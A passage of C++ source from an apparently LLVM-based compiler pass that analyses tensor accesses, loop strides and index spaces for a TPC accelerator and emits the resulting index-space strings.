polarity_val = polarity->getZExtValue();\n for (auto arg = F.arg_begin(); arg != F.arg_end(); ++arg) {\n if (auto *val = (dyn_cast<Value>(arg))) {\n for (unsigned j = 0; j < form_inst->getNumOperands(); j++) {\n Value *runtime = form_inst->getOperand(j);\n if (runtime == val && polarity_val == 1) {\n formula = \"not(%\" + std::to_string(i) + \")\";\n return formula;\n } else if (runtime == val) {\n // No need of formula if polarity is zero\n return formula;\n }\n }\n }\n i++;\n }\n }\n // We are here means runtime arg not from function\n if ((formula.length() == 0) &&\n (form_inst->getOpcode() == Instruction::ICmp)) {\n int cmp_index = -1;\n int intrins_index = -1;\n formula = \"cmp\";\n ICmpInst *CI = dyn_cast<ICmpInst>(form_inst);\n ICmpInst::Predicate Pred = CI->getPredicate();\n std::string type = getPredType(Pred);\n if (type.length() > 0) {\n formula += type;\n }\n for (unsigned j = 0; j < CI->getNumOperands(); j++) {\n if (auto *intrins = dyn_cast<IntrinsicInst>(CI->getOperand(j))) {\n Intrinsic::ID inid = intrins->getIntrinsicID();\n std::string type = getLDLOperand(inid);\n if (type.length() > 0) {\n formula += type;\n if (auto *intrins_int =\n dyn_cast<llvm::ConstantInt>(intrins->getOperand(0))) {\n intrins_index = intrins_int->getZExtValue();\n formula += std::to_string(intrins_index) + \"),\";\n }\n }\n } else if (auto *cmp_int =\n dyn_cast<llvm::ConstantInt>(CI->getOperand(j))) {\n cmp_index = cmp_int->getZExtValue();\n formula += std::to_string(cmp_index) + \")\";\n }\n }\n }\n }\n return formula;\n}\n\nvoid TensorAccessAnalysis::dumpIntoASM_MLIR() {\n // Prepare TensorInfo\n for (auto &TensorId : TensorTypeMap) {\n if (TensorCordInfoMap.find(TensorId.first) == TensorCordInfoMap.end()) {\n TensorInfo TnsrInfo;\n TnsrInfo.Type = TensorTypeMap.at(TensorId.first);\n TnsrInfo.Order = TensorId.first;\n std::string IndexStr = \"{ 0\";\n for (unsigned i = 1; i < TnsrInfo.IndexFactor.capacity(); i++)\n IndexStr += \", \" + std::to_string(0);\n\n IndexStr += \" }\";\n // prepare TensorName\n if (TensorId.first >= FakeTensorIdPad) { // FakeTensorId\n std::string Temp =\n \"x\" + std::to_string(TensorId.first - FakeTensorIdPad);\n TnsrInfo.Name = \"[\" + Temp + \"].\";\n } else\n TnsrInfo.Name = \"[\" + std::to_string(TensorId.first) + \"].\";\n if (TnsrInfo.Type == TensorType::Input) {\n TnsrInfo.Name += \"[Input].\";\n TnsrInfo.Name += IndexStr;\n Input.push_back(TnsrInfo);\n }\n if (TnsrInfo.Type == TensorType::Output) {\n TnsrInfo.Name += \"[Output].\";\n TnsrInfo.Name += IndexStr;\n Output.push_back(TnsrInfo);\n }\n }\n }\n\n for (auto Tlinfo : TensorCordInfoMap) {\n TensorInfo TnsrInfo;\n if (TensorTypeMap.find(Tlinfo.first) == TensorTypeMap.end() &&\n (std::find(PragmaTensors.begin(), PragmaTensors.end(), Tlinfo.first) !=\n PragmaTensors.end())) {\n auto WarningStr = \"Warning : Pragma defined for an unused Tensor. \"\n \"Skipping pragma notation for ID \" +\n std::to_string(Tlinfo.first) + \"\\n\";\n errs() << WarningStr;\n continue;\n }\n TnsrInfo.Type = TensorTypeMap.at(Tlinfo.first);\n TnsrInfo.Order = Tlinfo.first;\n for (unsigned i = 0; i < TnsrInfo.IndexFactor.capacity(); i++)\n TnsrInfo.IndexFactor.emplace_back(0);\n for (auto Linfo : Tlinfo.second) { // Loop over vector per TensorId\n Loop *Loopit = std::get<0>(Linfo);\n int indexit = std::get<1>(Linfo);\n auto SCEVInfo = getScevInfo(Loopit); // Fetch the required loop pointer\n // Populate stride\n if (SCEVInfo) {\n TnsrInfo.IndexFactor[indexit] = SCEVInfo->getSCEVStep();\n std::string formula = std::get<2>(Linfo);\n if (formula.length() > 0) {\n // push the formula\n TnsrInfo.umap.insert({indexit, formula});\n }\n } else {\n auto DiffCBegin = DiffCoords.lower_bound(Tlinfo.first);\n auto DiffCEnd = DiffCoords.upper_bound(Tlinfo.first);\n int MaxVal = -1;\n std::string Formula = \"\";\n while (DiffCBegin != DiffCEnd) {\n int Diffindex = std::get<0>(DiffCBegin->second);\n int DiffVal = std::get<1>(DiffCBegin->second);\n if (Diffindex == indexit) {\n if (DiffVal > MaxVal) {\n MaxVal = DiffVal;\n Formula = std::get<2>(DiffCBegin->second);\n }\n }\n DiffCBegin++;\n }\n if (MaxVal >= 0) { // To bar any invalid access to TnsrInfo\n TnsrInfo.IndexFactor[indexit] = MaxVal;\n if (Formula.length() > 0)\n TnsrInfo.umap.insert({indexit, Formula});\n }\n }\n // Check if the Tensor ID is manipulated zero it out\n for (auto i = Tensor_ids.begin(); i != Tensor_ids.end(); ++i) {\n if (*i == TnsrInfo.Order) {\n for (unsigned i = 0; i < TnsrInfo.IndexFactor.size(); i++) {\n TnsrInfo.IndexFactor[i] = 0;\n }\n }\n }\n }\n\n // prepare IndexString\n std::string IndexStr = \"\";\n std::string formula = \"\";\n std::string warn = \"\";\n bool InvalidScev = false;\n for (unsigned i = 0; i < TnsrInfo.IndexFactor.size(); i++) {\n if (TnsrInfo.IndexFactor[i] == INVALID_SCEV) {\n InvalidScev = true;\n break;\n }\n }\n // Making the Whole tensor zero if Invalid scev found, this\n // is temp work around and will be removed later\n if (InvalidScev) {\n for (unsigned i = 0; i < TnsrInfo.IndexFactor.size(); i++) {\n TnsrInfo.IndexFactor[i] = 0;\n }\n }\n warn = \"Warning: Auto Index Space could not be generated\"\n \" for Tensor ID: \" +\n std::to_string(Tlinfo.first);\n std::unordered_map<int, std::string>::const_iterator got =\n TnsrInfo.umap.find(0);\n if (TnsrInfo.IndexFactor[0] == INVALID_SCEV) {\n InvalidScev = true;\n warn += \" Coord: \" + std::to_string(0);\n TnsrInfo.IndexFactor[0] = 0;\n }\n if (got != TnsrInfo.umap.end()) {\n formula = got->second;\n if (formula.length() > 0) {\n IndexStr = \"{ \" + formula + \"*\";\n IndexStr += std::to_string(TnsrInfo.IndexFactor[0]);\n } else {\n IndexStr = \"{ \" + std::to_string(TnsrInfo.IndexFactor[0]);\n }\n } else {\n IndexStr = \"{ \" + std::to_string(TnsrInfo.IndexFactor[0]);\n }\n for (unsigned i = 1; i < TnsrInfo.IndexFactor.size(); i++) {\n got = TnsrInfo.umap.find(i);\n if (TnsrInfo.IndexFactor[i] == INVALID_SCEV) {\n InvalidScev = true;\n warn += \" Coord: \" + std::to_string(i);\n TnsrInfo.IndexFactor[i] = 0;\n }\n if (got != TnsrInfo.umap.end()) {\n formula = got->second;\n if (formula.length() > 0) {\n IndexStr += \", \" + formula + \"*\";\n IndexStr += std::to_string(TnsrInfo.IndexFactor[i]);\n } else {\n IndexStr += \", \" + std::to_string(TnsrInfo.IndexFactor[i]);\n }\n } else {\n IndexStr += \", \" + std::to_string(TnsrInfo.IndexFactor[i]);\n }\n }\n\n warn += \" Setting it zero, but Please use Pragma\"\n \" for better performance\\n\";\n if (InvalidScev && IndexSpaceWarning)\n errs() << warn;\n\n IndexStr += \" }\";\n // prepare TensorName\n if (TnsrInfo.Order >= FakeTensorIdPad) { // FakeTensorId\n std::string Temp = \"x\" + std::to_string(TnsrInfo.Order - FakeTensorIdPad);\n TnsrInfo.Name = \"[\" + Temp + \"].\";\n } else\n TnsrInfo.Name = \"[\" + std::to_string(TnsrInfo.Order) + \"].\";\n if (TnsrInfo.Type == TensorType::Input) {\n TnsrInfo.Name += \"[Input].\";\n TnsrInfo.Name += IndexStr;\n Input.push_back(TnsrInfo);\n }\n if (TnsrInfo.Type == TensorType::Output) {\n TnsrInfo.Name += \"[Output].\";\n TnsrInfo.Name += IndexStr;\n Output.push_back(TnsrInfo);\n }\n if (TnsrInfo.Type == TensorType::Aux) {\n TnsrInfo.Name += \"[Aux].\";\n TnsrInfo.Name += IndexStr;\n Aux.push_back(TnsrInfo);\n }\n LLVM_DEBUG(dbgs() << \"\\n\" << TnsrInfo.Name);\n }\n}\n\n\nvoid TensorAccessAnalysis::dumpIntoASM() {\n // Prepare TensorInfo\n if (StLTensors.size()) {\n for (auto &TensorId : TensorTypeMap) {\n TensorInfo TnsrInfo;\n TnsrInfo.Type = TensorTypeMap.at(TensorId.first);\n TnsrInfo.Order = TensorId.first;\n std::string IndexStr = \"{ GC_CUSTOM\";\n // prepare TensorName\n for (unsigned i = 1; i < TnsrInfo.IndexFactor.capacity(); i++)\n IndexStr += \", GC_CUSTOM\";\n IndexStr += \" }\";\n if (TensorId.first >= FakeTensorIdPad) { // FakeTensorId\n std::string Temp =\n \"x\" + std::to_string(TensorId.first - FakeTensorIdPad);\n TnsrInfo.Name = \"[\" + Temp + \"].\";\n } else\n TnsrInfo.Name = \"[\" + std::to_string(TensorId.first) + \"].\";\n if (TnsrInfo.Type == TensorType::Input) {\n TnsrInfo.Name += \"[Input].\";\n TnsrInfo.Name += IndexStr;\n Input.push_back(TnsrInfo);\n }\n if (TnsrInfo.Type == TensorType::Output) {\n TnsrInfo.Name += \"[Output].\";\n TnsrInfo.Name += IndexStr;\n Output.push_back(TnsrInfo);\n }\n }\n } else {\n for (auto &TensorId : TensorTypeMap) {\n if (TensorCordInfoMap.find(TensorId.first) == TensorCordInfoMap.end()) {\n TensorInfo TnsrInfo;\n TnsrInfo.Type = TensorTypeMap.at(TensorId.first);\n TnsrInfo.Order = TensorId.first;\n std::string IndexStr;\n if (LdStLTensors.find(TensorId.first) != LdStLTensors.end()) {\n if (BailoutReason.empty())\n BailoutReason = \"GetDimSize followed by SetDimSize present\";\n IndexStr = \"{ GC_CUSTOM\";\n // prepare TensorName\n for (unsigned i = 1; i < TnsrInfo.IndexFactor.capacity(); i++)\n IndexStr += \", GC_CUSTOM\";\n IndexStr += \" }\";\n } else {\n IndexStr = \"{ 0\";\n // prepare TensorName\n for (unsigned i = 1; i < TnsrInfo.IndexFactor.capacity(); i++)\n IndexStr += \", 0\";\n IndexStr += \" }\";\n }\n // prepare TensorName\n if (TensorId.first >= FakeTensorIdPad) { // FakeTensorId\n std::string Temp =\n \"x\" + std::to_string(TensorId.first - FakeTensorIdPad);\n TnsrInfo.Name = \"[\" + Temp + \"].\";\n } else\n TnsrInfo.Name = \"[\" + std::to_string(TensorId.first) + \"].\";\n if (TnsrInfo.Type == TensorType::Input) {\n TnsrInfo.Name += \"[Input].\";\n TnsrInfo.Name += IndexStr;\n Input.push_back(TnsrInfo);\n }\n if (TnsrInfo.Type == TensorType::Output) {\n TnsrInfo.Name += \"[Output].\";\n TnsrInfo.Name += IndexStr;\n Output.push_back(TnsrInfo);\n }\n }\n }\n // continue normal processing of asm\n for (auto Tlinfo : TensorCordInfoMap) {\n TensorInfo TnsrInfo;\n if (TensorTypeMap.find(Tlinfo.first) == TensorTypeMap.end() &&\n (std::find(PragmaTensors.begin(), PragmaTensors.end(),\n Tlinfo.first) != PragmaTensors.end())) {\n auto WarningStr = \"Warning : Pragma defined for an unused Tensor. \"\n \"Skipping pragma notation for ID \" +\n std::to_string(Tlinfo.first) + \"\\n\";\n errs() << WarningStr;\n continue;\n }\n TnsrInfo.Type = TensorTypeMap.at(Tlinfo.first);\n TnsrInfo.Order = Tlinfo.first;\n for (unsigned i = 0; i < TnsrInfo.IndexFactor.capacity(); i++)\n TnsrInfo.IndexFactor.emplace_back(0);\n for (auto Linfo : Tlinfo.second) { // Loop over vector per TensorId\n Loop *Loopit = std::get<0>(Linfo);\n int indexit = std::get<1>(Linfo);\n auto SCEVInfo = getScevInfo(Loopit); // Fetch the required loop pointer\n // Populate stride\n if (SCEVInfo) {\n TnsrInfo.IndexFactor[indexit] = SCEVInfo->getSCEVStep();\n std::string formula = std::get<2>(Linfo);\n if (formula.length() > 0) {\n // push the formula\n TnsrInfo.umap.insert({indexit, formula});\n }\n } else {\n auto DiffCBegin = DiffCoords.lower_bound(Tlinfo.first);\n auto DiffCEnd = DiffCoords.upper_bound(Tlinfo.first);\n int MaxVal = -1;\n std::string Formula = \"\";\n while (DiffCBegin != DiffCEnd) {\n int Diffindex = std::get<0>(DiffCBegin->second);\n int DiffVal = std::get<1>(DiffCBegin->second);\n if (Diffindex == indexit) {\n if (DiffVal > MaxVal) {\n MaxVal = DiffVal;\n Formula = std::get<2>(DiffCBegin->second);\n }\n }\n DiffCBegin++;\n }\n if (MaxVal >= 0) { // To bar any invalid access to TnsrInfo\n TnsrInfo.IndexFactor[indexit] = MaxVal;\n if (Formula.length() > 0)\n TnsrInfo.umap.insert({indexit, Formula});\n }\n }\n // Check if the Tensor ID is manipulated zero it out\n for (auto i = Tensor_ids.begin(); i != Tensor_ids.end(); ++i) {\n if (*i == TnsrInfo.Order) {\n for (unsigned i = 0; i < TnsrInfo.IndexFactor.size(); i++) {\n TnsrInfo.IndexFactor[i] = 0;\n }\n }\n }\n }\n\n // prepare IndexString\n std::string IndexStr = \"\";\n std::string formula = \"\";\n std::string warn = \"\";\n bool InvalidScev = false;\n for (unsigned i = 0; i < TnsrInfo.IndexFactor.size(); i++) {\n if (TnsrInfo.IndexFactor[i] == INVALID_SCEV) {\n InvalidScev = true;\n break;\n }\n }\n // Making the Whole tensor zero if Invalid scev found, this\n // is temp work around and will be removed later\n if (InvalidScev) {\n for (unsigned i = 0; i < TnsrInfo.IndexFactor.size(); i++) {\n TnsrInfo.IndexFactor[i] = 0;\n }\n }\n warn = \"Warning: Auto Index Space could not be generated\"\n \" for Tensor ID: \" +\n std::to_string(Tlinfo.first);\n std::unordered_map<int, std::string>::const_iterator got =\n TnsrInfo.umap.find(0);\n if (TnsrInfo.IndexFactor[0] == INVALID_SCEV) {\n InvalidScev = true;\n warn += \" Coord: \" + std::to_string(0);\n TnsrInfo.IndexFactor[0] = 0;\n }\n if (got != TnsrInfo.umap.end()) {\n formula = got->second;\n if (formula.length() > 0) {\n IndexStr = \"{ \" + formula + \"*\";\n IndexStr += std::to_string(TnsrInfo.IndexFactor[0]);\n } else {\n IndexStr = \"{ \" + std::to_string(TnsrInfo.IndexFactor[0]);\n }\n } else {\n IndexStr = \"{ \" + std::to_string(TnsrInfo.IndexFactor[0]);\n }\n for (unsigned i = 1; i < TnsrInfo.IndexFactor.size(); i++) {\n got = TnsrInfo.umap.find(i);\n if (TnsrInfo.IndexFactor[i] == INVALID_SCEV) {\n InvalidScev = true;\n warn += \" Coord: \" + std::to_string(i);\n TnsrInfo.IndexFactor[i] = 0;\n }\n if (got != TnsrInfo.umap.end()) {\n formula = got->second;\n if (formula.length() > 0) {\n IndexStr += \", \" + formula + \"*\";\n IndexStr += std::to_string(TnsrInfo.IndexFactor[i]);\n } else {\n IndexStr += \", \" + std::to_string(TnsrInfo.IndexFactor[i]);\n }\n } else {\n IndexStr += \", \" + std::to_string(TnsrInfo.IndexFactor[i]);\n }\n }\n\n warn += \" Setting it zero, but Please use Pragma\"\n \" for better performance\\n\";\n\n if (InvalidScev && IndexSpaceWarning)\n errs() << warn;\n\n if (InvalidScev) {\n if (BailoutReason.empty())\n BailoutReason =\n \"Invalid Scev present (Runtime args in coord manipulation)\";\n IndexStr = \"{ GC_CUSTOM\";\n // prepare TensorName\n for (unsigned i = 1; i < TnsrInfo.IndexFactor.capacity(); i++)\n IndexStr += \", GC_CUSTOM\";\n }\n\n IndexStr += \" }\";\n // prepare TensorName\n if (TnsrInfo.Order >= FakeTensorIdPad) { // FakeTensorId\n std::string Temp =\n \"x\" + std::to_string(TnsrInfo.Order - FakeTensorIdPad);\n TnsrInfo.Name = \"[\" + Temp + \"].\";\n } else\n TnsrInfo.Name = \"[\" + std::to_string(TnsrInfo.Order) + \"].\";\n if (TnsrInfo.Type == TensorType::Input) {\n TnsrInfo.Name += \"[Input].\";\n TnsrInfo.Name += IndexStr;\n Input.push_back(TnsrInfo);\n }\n if (TnsrInfo.Type == TensorType::Output) {\n TnsrInfo.Name += \"[Output].\";\n TnsrInfo.Name += IndexStr;\n Output.push_back(TnsrInfo);\n }\n if (TnsrInfo.Type == TensorType::Aux) {\n TnsrInfo.Name += \"[Aux].\";\n TnsrInfo.Name += IndexStr;\n Aux.push_back(TnsrInfo);\n }\n LLVM_DEBUG(dbgs() << \"\\n\" << TnsrInfo.Name);\n }\n }\n}\n\nvoid TensorAccessAnalysis::processPHIUses(int TensorId, PHINode *PHI,\n Loop *CurrLoop, Function &F) {\n User *PrevInstr = nullptr;\n for (const Use &PHIUse : PHI->uses()) {\n User *PHIUser = PHIUse.getUser();\n if (PrevInstr && PHIUser == PrevInstr)\n continue;\n PrevInstr = PHIUser;\n if (auto *InsetInst = dyn_cast<InsertElementInst>(PHIUser)) {\n bool CheckIfNodeProcessed = iterateProcessedNodes(TensorId, CurrLoop);\n if (iterateProcessedPHI(PHI) && CheckIfNodeProcessed)\n continue;\n if (!dyn_cast<ConstantInt>(InsetInst->getOperand(1))) {\n processInsertElementNode(InsetInst, CurrLoop, PHI, TensorId);\n }\n processNestedInstructions(InsetInst, CurrLoop, PHI, TensorId, false, F);\n } else if (auto *ShuffVecInst = dyn_cast<ShuffleVectorInst>(PHIUser)) {\n processNestedInstructions(ShuffVecInst, CurrLoop, PHI, TensorId, false, F);\n continue;\n } else if (auto *Intrins = dyn_cast<IntrinsicInst>(PHIUser)) {\n Intrinsic::ID Inid = Intrins->getIntrinsicID();\n if (Inid == Intrinsic::tpc_ld_tnsr) {\n // copy detected, need to copy index space\n int srcTensorId = GetTensorId(Intrins->getOperand(1));\n if (TensorId != srcTensorId)\n CopyIndSpace.insert(std::make_pair(TensorId, srcTensorId));\n }\n if (Inid != Intrinsic::tpc_set_indx && Inid != Intrinsic::tpc_add_mask &&\n Inid != Intrinsic::tpc_add)\n continue;\n int IndexShl = -1;\n std::string Formula = \"\";\n if (Inid == Intrinsic::tpc_add) {\n continue;\n } else if (Inid == Intrinsic::tpc_add_mask) {\n if (dyn_cast<llvm::ConstantInt>(Intrins->getOperand(2))) {\n if (dyn_cast<Instruction>(Intrins->getOperand(6))) {\n if (!dyn_cast<ICmpInst>(Intrins->getOperand(6)))\n FallBackVec.insert(TensorId);\n else {\n if (auto *Icmp = dyn_cast<ICmpInst>(Intrins->getOperand(6)))\n if (!dyn_cast<ConstantInt>(Icmp->getOperand(1)))\n FallBackVec.insert(TensorId);\n }\n }\n IndexShl = dyn_cast<llvm::ConstantInt>(Intrins->getOperand(2))\n ->getZExtValue();\n CurrLoop = compareStepValuesForAddMask(PHI, CurrLoop);\n int64_t AddMaskStep = getAddMaskStepVar(Intrins);\n bool CheckIfNodeProcessed = iterateProcessedNodes(TensorId, CurrLoop);\n if (AddMaskStep != INVALID_STRIDE) {\n bool CopyPHI = false;\n if (iterateProcessedPHI(PHI)) {\n // Check for tensor ID in diffcoords\n if (CheckIfNodeProcessed)\n continue;\n else\n CopyPHI = true;\n }\n unsigned UnrollCount = 0;\n if (getScevInfo(CurrLoop)) {\n UnrollCount = getScevInfo(CurrLoop)->getLoopUnrollCount(CurrLoop);\n }\n if (UnrollCount)\n AddMaskStep = AddMaskStep * UnrollCount;\n unsigned Index = fetchIndexFromOperand(IndexShl);\n UpdateDiffCoords(TensorId, Index, AddMaskStep, \"\", CurrLoop, PHI);\n prepareLoopIvCoordMap(TensorId, nullptr, Index);\n processNestedInstructions(Intrins, CurrLoop, PHI, TensorId, CopyPHI,\n F);\n continue;\n }\n } else {\n IncorrectIndexSpace = true;\n return;\n }\n } else if (Inid == Intrinsic::tpc_set_indx) {\n if (dyn_cast<llvm::ConstantInt>(Intrins->getOperand(1)))\n processSetIndexNode(TensorId, CurrLoop, PHI, F, Intrins);\n else {\n IncorrectIndexSpace = true;\n return;\n }\n }\n\n // This is to counter the notation of set_index and\n // add_mask\n unsigned Index = fetchIndexFromOperand(IndexShl);\n\n if (Inid == Intrinsic::tpc_add_mask &&\n LI->isLoopHeader(PHI->getParent())) {\n prepareLoopIvCoordMap(TensorId, CurrLoop, Index, \"\");\n }\n if (Inid == Intrinsic::tpc_add_mask || Inid == Intrinsic::tpc_set_indx)\n processNestedInstructions(Intrins, CurrLoop, PHI, TensorId, false, F);\n }\n }\n}\n\nvoid TensorAccessAnalysis::getloadstoreIntrins(Function &F) {\n StringRef SubArchName = \"\";\n Attribute SubArchAttr = F.getFnAttribute(\"target-cpu\");\n auto SubArchStr = SubArchAttr.getValueAsString();\n for (auto &BB : F)\n for (auto &II : BB)\n if (auto *Intrins = dyn_cast<IntrinsicInst>(&II)) {\n Intrinsic::ID Inid = Intrins->getIntrinsicID();\n if (is_ld_l_tnsr(Inid)) {\n int val_id = GetValId(Intrins->getOperand(0));\n if (val_id < 0)\n continue;\n ld_id.push_back(val_id);\n } else if (is_st_l_tnsr(Inid)) {\n int val_id = GetValId(Intrins->getOperand(0));\n if (val_id < 0)\n continue;\n st_id.push_back(val_id);\n }\n }\n // Store the Valid tensors\n if (SubArchStr.size() > 0) {\n SubArchName = SubArchStr;\n if (ConfigStartOffset.find(SubArchName) == ConfigStartOffset.end()) {\n return;\n }\n for (auto i = ld_id.begin(); i != ld_id.end(); ++i) {\n int ld_id = *i;\n for (auto j = st_id.begin(); j != st_id.end(); ++j) {\n int st_id = *j;\n if (ld_id == st_id) {\n // for the Match once we need to have exact division\n int id_offset = ld_id - ConfigStartOffset[SubArchName];\n if (id_offset % ConfigOffset[SubArchName] == 0) {\n int TensorID = id_offset / ConfigOffset[SubArchName];\n Tensor_ids.push_back(TensorID);\n }\n }\n }\n }\n }\n}\n\nbool checkIndexSpaceOffset(Instruction *InstrPtr) {\n if (InstrPtr->getOpcode() == Instruction::ExtractElement) {\n auto Arg0 = InstrPtr->getOperand(0);\n if (auto *Intrinsic = dyn_cast<IntrinsicInst>(Arg0)) {\n auto ID = Intrinsic->getIntrinsicID();\n if (ID == Intrinsic::tpc_get_index_space_offset) {\n return true;\n }\n }\n }\n return false;\n}\n\nvoid TensorAccessAnalysis::checkRuntimeInfo(int TensorId,\n std::vector<Value *> TraceToPHI) {\n for (auto &Iter : TraceToPHI) {\n if (auto *Instr = dyn_cast<InsertElementInst>(Iter)) {\n auto StrideArg = Instr->getOperand(1);\n if (auto BO = dyn_cast<BinaryOperator>(StrideArg)) {\n if (!dyn_cast<llvm::ConstantInt>(BO->getOperand(1))) {\n auto TempPtr = dyn_cast<Instruction>(BO->getOperand(1));\n if (TempPtr && checkIndexSpaceOffset(TempPtr))\n continue;\n StLTensors.insert(TensorId);\n if (BailoutReason.empty())\n BailoutReason = \"Loop bounds have runtime dependency\";\n }\n }\n }\n }\n}\n\nvoid TensorAccessAnalysis::computeTensorInfo(Function &F, bool Update) {\n // prepare ld/st tensor list\n resetFakeTensorId();\n getloadstoreIntrins(F);\n for (auto &BB : F)\n for (auto &II : BB)\n if (auto *Intrins = dyn_cast<IntrinsicInst>(&II)) {\n Intrinsic::ID Inid = Intrins->getIntrinsicID();\n if (is_ld_st_tnsr(Inid)) {\n int TensorId = GetTensorId(Intrins->getOperand(1));\n assert(TensorId >= 0 && \"Tensor ID must be positive.\");\n classifyTensorType(TensorId, Intrins);\n if (UniqueTensors.find(Intrins) == UniqueTensors.end()) {\n Tensors.push_back(Intrins);\n UniqueTensors.insert(Intrins);\n }\n }\n }\n // Prepare TensorID Coordnate Map\n resetFakeTensorId();\n for (auto T : Tensors) {\n LLVM_DEBUG(dbgs() << \"IndexAnalysis for Tensor \"; T->dump());\n int TensorId = GetTensorId(T->getOperand(1));\n if (std::find(PragmaTensors.begin(), PragmaTensors.end(), TensorId) !=\n PragmaTensors.end())\n continue;\n if (std::find(LdStLTensors.begin(), LdStLTensors.end(), TensorId) !=\n LdStLTensors.end())\n continue;\n if (std::find(StLTensors.begin(), StLTensors.end(), TensorId) !=\n StLTensors.end())\n continue;\n\n assert(TensorId >= 0 && \"Tensor ID must be positive.\");\n if (Update == 1) {\n innerLoopUpdates(T, TensorId);\n continue;\n }\n\n Value *InitTensor = T->getOperand(0);\n Value *InitTensorBackup = T;\n\n std::vector<Value *> TraceToPHI;\n // collect all Invariant Loads/Stores\n if (!(dyn_cast<Instruction>(InitTensor))) {\n continue;\n }\n\n // Use-Def Ld/St Tensor\n while (InitTensor) {\n LLVM_DEBUG(dbgs() << \"IndexAnalysis Use-Def Inst \"; InitTensor->dump());\n Loop *CurrLoop = nullptr;\n if (Instruction *InstructionPtr = dyn_cast<Instruction>(InitTensor)) {\n // Backtrack for loop induction variable\n if (InstructionPtr->getOpcode() != Instruction::PHI) {\n TraceToPHI.push_back(InstructionPtr);\n InitTensor = getNextInstruction(InstructionPtr);\n continue;\n }\n checkRuntimeInfo(TensorId, TraceToPHI);\n TraceToPHI = {};\n // Captured the loop variable phi node\n auto *PHI = dyn_cast<PHINode>(InstructionPtr);\n CurrLoop = LI->getLoopFor(PHI->getParent());\n // Loop through the Uses and prepare Tensor Info\n processPHIUses(TensorId, PHI, CurrLoop, F);\n // move to next BB if any\n bool PHIUseRemaining = false;\n for (unsigned i = 0; i < PHI->getNumIncomingValues(); ++i) {\n Loop *IncomingLoop = nullptr;\n auto BB = PHI->getIncomingBlock(i);\n IncomingLoop = LI->getLoopFor(BB);\n if (!CurrLoop)\n continue;\n if (IncomingLoop == CurrLoop->getParentLoop()) {\n InitTensorBackup = InitTensor = PHI->getIncomingValue(i);\n PHIUseRemaining = true;\n break;\n } else {\n // We are either same of less depth\n int Currdepth = CurrLoop->getLoopDepth();\n int Incomingdepth = IncomingLoop->getLoopDepth();\n if (Currdepth == Incomingdepth) {\n Value *InVal = PHI->getIncomingValue(i);\n if (!compDepthCheckforNextBlock(Currdepth, InVal, BB)) {\n if (InitTensor != nullptr && PHIUseRemaining != true) {\n InitTensorBackup = InitTensor = PHI->getIncomingValue(i);\n PHIUseRemaining = true;\n }\n } else if (auto *LCSSAPhi = dyn_cast<PHINode>(InVal)) {\n if (LCSSAPhi->getNumIncomingValues() == 1) {\n InitTensorBackup = InitTensor = PHI->getIncomingValue(0);\n PHIUseRemaining = true;\n }\n }\n }\n if (BB == PHI->getParent())\n continue;\n // We only take the incoming node and traverse till we find the\n // phi\n // TraverseTillPhiNode begin\n Value *IncomingEdge = PHI->getIncomingValue(i);\n while (IncomingEdge) {\n LLVM_DEBUG(dbgs() << \"IndexAnalysis Use-Def Inst \";\n IncomingEdge->dump());\n Loop *BaseLoop = nullptr;\n if (Instruction *InstructionPtr2 =\n dyn_cast<Instruction>(IncomingEdge)) {\n // Backtrack for loop induction variable\n if (InstructionPtr2->getOpcode() != Instruction::PHI) {\n IncomingEdge = getNextInstruction(InstructionPtr2);\n continue;\n }\n auto *PHIPtr = dyn_cast<PHINode>(InstructionPtr2);\n // Trace back to first basic block\n BaseLoop = LI->getLoopFor(PHIPtr->getParent());\n processPHIUses(TensorId, PHIPtr, BaseLoop, F);\n break;\n } else // If not an instruction, no need of processing\n break;\n }\n // TraverseTillPhiNode end\n }\n }\n if (!PHIUseRemaining)\n break;\n } else {\n break;\n }\n }\n }\n}\n\nvoid SCEVInfo::processSCEVInfo() {\n if (!L->getLoopLatch() || !L->getLoopPredecessor()) {\n return;\n }\n InductionDescriptor ID;\n for (PHINode &PHI : L->getHeader()->phis()) {\n PHINode *PhiPtr = &(PHI);\n if (!InductionDescriptor::isInductionPHI(PhiPtr, L, SE, ID))\n continue;\n const SCEVAddRecExpr *AddRec =\n dyn_cast<SCEVAddRecExpr>(SE->getSCEV(PhiPtr));\n if (!AddRec || !AddRec->isAffine())\n continue;\n const SCEV *Step = AddRec->getStepRecurrence(*SE);\n if (!isa<SCEVConstant>(Step))\n continue;\n LoopIndVar = PhiPtr;\n break;\n }\n if (LoopIndVar)\n SCEVPtr = SE->getSCEV(LoopIndVar);\n}\n\n// Return the loop step if a valid SCEV Ptr is encountered\n// Return INT_MAX otherwise\n\nint64_t SCEVInfo::getSCEVStep() const {\n if (!SCEVPtr) {\n LLVM_DEBUG(dbgs() << \"Not a valid SCEV Node\"\n << \"\\n\");\n return INVALID_SCEV;\n }\n const SCEVAddRecExpr *AddRec = dyn_cast<SCEVAddRecExpr>(SCEVPtr);\n if (!AddRec || !AddRec->isAffine())\n return INT_MAX;\n const SCEV *Step = AddRec->getStepRecurrence(*SE);\n unsigned UnrollCount = getLoopUnrollCount(L);\n if (UnrollCount)\n return (UnrollCount *\n std::abs(cast<SCEVConstant>(Step)->getValue()->getSExtValue()));\n else\n return (std::abs(cast<SCEVConstant>(Step)->getValue()->getSExtValue()));\n}\n\nPHINode *SCEVInfo::getLoopInductionVar() const { return LoopIndVar; }\n\nLoop *SCEVInfo::getLoopPtr() const { return L; }\n\nstd::string SCEVInfo::getSCEVLoopName() const {\n if (L)\n return L->getName().str();\n else\n return \"\";\n}\n\nunsigned SCEVInfo::getLoopUnrollCount(Loop *L) const {\n MDNode *LoopMD = L->getLoopID();\n if (!LoopMD)\n return 0;\n assert(LoopMD->getNumOperands() > 0 && \"requires at least one operand\");\n MDNode *MDPtr = nullptr;\n\n for (unsigned i = 1; i < LoopMD->getNumOperands(); ++i) {\n MDPtr = dyn_cast<MDNode>(LoopMD->getOperand(i));\n if (!MDPtr)\n continue;\n MDString *S = dyn_cast<MDString>(MDPtr->getOperand(0));\n if (!S)\n continue;\n if (S->getString().equals(\"llvm.loop.machine.unroll.count\")) {\n assert(MDPtr->getNumOperands() == 2 &&\n \"Unroll hint metadata should have two operands\");\n unsigned Count =\n mdconst::extract<ConstantInt>(MDPtr->getOperand(1))->getZExtValue();\n assert(Count >= 1 && \"Unroll count must be positive.\");\n return Count;\n }\n }\n return 0;\n}\n\nvoid TensorAccessAnalysis::processNestedInstructions(Instruction *RootInst,\n Loop *CurrLoop,\n PHINode *PHI, int TensorId,\n bool CopyPHI,\n Function &F) {\n bool Nested_Ins = true;\n bool CheckIfNodeProcessed = iterateProcessedNodes(TensorId, CurrLoop);\n if 